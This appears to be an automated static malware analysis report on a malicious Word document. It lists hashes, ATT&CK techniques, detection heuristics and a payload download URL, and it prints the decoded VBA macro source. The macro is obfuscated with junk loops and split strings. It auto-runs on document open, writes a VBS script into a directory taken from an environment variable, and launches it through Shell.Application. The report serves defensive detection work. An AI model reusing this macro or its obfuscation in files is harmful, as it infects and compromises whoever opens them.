Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 4f87d4bf9679b4b0…

MALICIOUS

Office (OLE)

43.5 KB Created: 2016-03-23 20:41:00 Authoring application: Microsoft Office Word First seen: 2019-12-10
MD5: 54e6b0623431637180bcc3af48c795c5 SHA-1: de77e43c1850edfce275c65655ca97ecd062788a SHA-256: 4f87d4bf9679b4b03c54f5abc3b6f5b6d315df04b219c0416dc2835755444cb7
150 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample contains VBA macros, specifically a Document_Open auto-execution macro, which is a common technique for initiating malicious actions. The macro uses CreateObject to download a payload from the URL http://web-intra.fhc-inc.org/live/essentials.php, indicating a downloader or droppper functionality. The presence of the Document_Open macro and CreateObject call strongly suggests an attempt to execute arbitrary code.

Heuristics 6

  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://web-intra.fhc-inc.org/live/essentials.php In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5489 bytes
SHA-256: 1c64256bc9b414bbaf5072e4affe81a7d35eca56c63e15d2000baecf77148483
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "nbvcxdadwadasd"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub _
 _
 Document_Open()
ytrewfds32d = "hel"
Dim xyHRM As Integer
xyHRM = 174
Do While xyHRM < 174 + 10
xyHRM = xyHRM + 1: DoEvents
Loop
Dim gpBdxcASs As Integer
gpBdxcASs = 1944
Do While gpBdxcASs < 1944 + 10
gpBdxcASs = gpBdxcASs + 1: DoEvents
Loop
wdasqw2dsf = "cvdf"
Dim BqKBsFPzym As Integer
BqKBsFPzym = 994
Do While BqKBsFPzym < 994 + 10
BqKBsFPzym = BqKBsFPzym + 1: DoEvents
Loop
Dim pZGJeGKZ As Integer
pZGJeGKZ = 1615
Do While pZGJeGKZ < 1615 + 10
pZGJeGKZ = pZGJeGKZ + 1: DoEvents
Loop
fdsewe26fc = "plica"
Dim aChRNBVMD As Integer
aChRNBVMD = 1833
Do While aChRNBVMD < 1833 + 10
aChRNBVMD = aChRNBVMD + 1: DoEvents
Loop
Dim HTSjn As Integer
HTSjn = 759
Do While HTSjn < 759 + 10
HTSjn = HTSjn + 1: DoEvents
Loop
yterwq4f = ".V"
Dim AwwvzlelPqcs As Integer
AwwvzlelPqcs = 788
Do While AwwvzlelPqcs < 788 + 10
AwwvzlelPqcs = AwwvzlelPqcs + 1: DoEvents
Loop
Dim TpdnKFjkQ As Integer
TpdnKFjkQ = 978
Do While TpdnKFjkQ < 978 + 10
TpdnKFjkQ = TpdnKFjkQ + 1: DoEvents
Loop
     Dim gty54r2qd As Integer
Dim uuVerSmRqH As Integer
uuVerSmRqH = 204
Do While uuVerSmRqH < 204 + 10
uuVerSmRqH = uuVerSmRqH + 1: DoEvents
Loop
Dim TlQbAb As Integer
TlQbAb = 2448
Do While TlQbAb < 2448 + 10
TlQbAb = TlQbAb + 1: DoEvents
Loop
     gty54r2qd = FreeFile
Dim dEZDcuFurlD As Integer
dEZDcuFurlD = 1834
Do While dEZDcuFurlD < 1834 + 10
dEZDcuFurlD = dEZDcuFurlD + 1: DoEvents
Loop
Dim bxwYFQIMn As Integer
bxwYFQIMn = 1076
Do While bxwYFQIMn < 1076 + 10
bxwYFQIMn = bxwYFQIMn + 1: DoEvents
Loop
          wedwe23fff = Environ(nbvcsdfdsfwqw.fdsasddasd) & "\ddfffg" + wdasqw2dsf + yterwq4f + "Be"
Dim nvHkDjGZlZ As Integer
nvHkDjGZlZ = 989
Do While nvHkDjGZlZ < 989 + 10
nvHkDjGZlZ = nvHkDjGZlZ + 1: DoEvents
Loop
Dim FsfFcbD As Integer
FsfFcbD = 1400
Do While FsfFcbD < 1400 + 10
FsfFcbD = FsfFcbD + 1: DoEvents
Loop
    Open wedwe23fff For Output As #gty54r2qd
Dim KKxxZ As Integer
KKxxZ = 1831
Do While KKxxZ < 1831 + 10
KKxxZ = KKxxZ + 1: DoEvents
Loop
Dim GVOygjgkyIereQs As Integer
GVOygjgkyIereQs = 1323
Do While GVOygjgkyIereQs < 1323 + 10
GVOygjgkyIereQs = GVOygjgkyIereQs + 1: DoEvents
Loop
    Print #gty54r2qd, nbvcsdfdsfwqw.bdvsadasdasdd
Dim NCQMD As Integer
NCQMD = 2177
Do While NCQMD < 2177 + 10
NCQMD = NCQMD + 1: DoEvents
Loop
Dim lbGPPOS As Integer
lbGPPOS = 625
Do While lbGPPOS < 625 + 10
lbGPPOS = lbGPPOS + 1: DoEvents
Loop
    Print #gty54r2qd, nbvcsdfdsfwqw.bvcasdasdqwq
Dim juAwHZnvw As Integer
juAwHZnvw = 1352
Do While juAwHZnvw < 1352 + 10
juAwHZnvw = juAwHZnvw + 1: DoEvents
Loop
Dim fNNBnOlxLtKw As Integer
fNNBnOlxLtKw = 2319
Do While fNNBnOlxLtKw < 2319 + 10
fNNBnOlxLtKw = fNNBnOlxLtKw + 1: DoEvents
Loop
            Close #gty54r2qd
Dim ZgKYQnqtlKZ As Integer
ZgKYQnqtlKZ = 862
Do While ZgKYQnqtlKZ < 862 + 10
ZgKYQnqtlKZ = ZgKYQnqtlKZ + 1: DoEvents
Loop
Dim jZEzA As Integer
jZEzA = 2160
Do While jZEzA < 2160 + 10
jZEzA = jZEzA + 1: DoEvents
Loop

Set hgfd3r2d _
= CreateObject( _
 _
   "S" + _
 _
 _
       ytrewfds32d + _
 _
 _
 _
          "l.Ap" _
 _
 _
            + fdsewe26fc _
 _
 _
 _
          + "tion")
hgfd3r2d _
 _
 _
    . _
 _
 _
 _
       Open _
 _
 _
             wedwe23fff
End Sub




Attribute VB_Name = "nbvcsdfdsfwqw"
Attribute VB_Base = "0{7B67E34E-18F9-4378-9594-35127D862151}{E936967D-ABD8-4D3F-B2C2-277F9B8CE8BA}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "nQPLoq"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribu
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.